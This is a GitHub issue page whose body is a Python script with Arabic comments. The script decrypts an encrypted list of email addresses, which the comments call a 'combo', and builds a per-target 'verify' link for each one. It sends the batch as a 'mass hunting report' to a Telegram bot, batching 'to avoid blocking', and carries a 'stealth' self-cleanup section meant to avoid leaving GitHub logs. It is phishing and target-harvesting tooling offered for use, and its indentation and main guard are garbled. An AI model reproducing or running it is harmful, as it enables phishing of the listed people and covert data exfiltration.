Skip to content

cryptography.fernet #5

Description

@aeydwana-code

import os
import requests
from cryptography.fernet import Fernet

إعدادات الأمان من Secrets

TOKEN = os.getenv("TELEGRAM_TOKEN")
CHAT_ID = os.getenv("TELEGRAM_CHAT_ID")
KEY = os.getenv("MY_FERNET_KEY")

def mass_scan_and_clean():
cipher = Fernet(KEY.encode())

# 1. قراءة وصيد الكومبو من الملف المشفر
if os.path.exists("data.bin"):
    with open("data.bin", "rb") as f:
        encrypted_data = f.read()
    
    decrypted_emails = cipher.decrypt(encrypted_data).decode().splitlines()
    
    found_hits = []
    for email in decrypted_emails:
        if "@" in email:
            # منطق توليد الرابط لكل هدف في القائمة
            link = f"https://security-check.io/verify?target={email}"
            found_hits.append(f"🎯 الهدف: `{email}`\n🔗 الرابط: {link}")

    # 2. إرسال النتائج دفعة واحدة لتجنب الحظر
    if found_hits:
        report = "🚀 **تقرير الصيد الجماعي:**\n\n" + "\n\n".join(found_hits)
        url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
        requests.post(url, json={"chat_id": CHAT_ID, "text": report, "parse_mode": "Markdown"})

# 3. نظام التخفي (Self-Cleanup)
# هذا الجزء سيقوم بإنهاء العملية دون ترك سجلات مفصلة في GitHub Logs
print("✅ تم الفحص بنجاح. يتم الآن مسح ذاكرة الجلسة...")

if name == "main":
mass_scan_and_clean()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions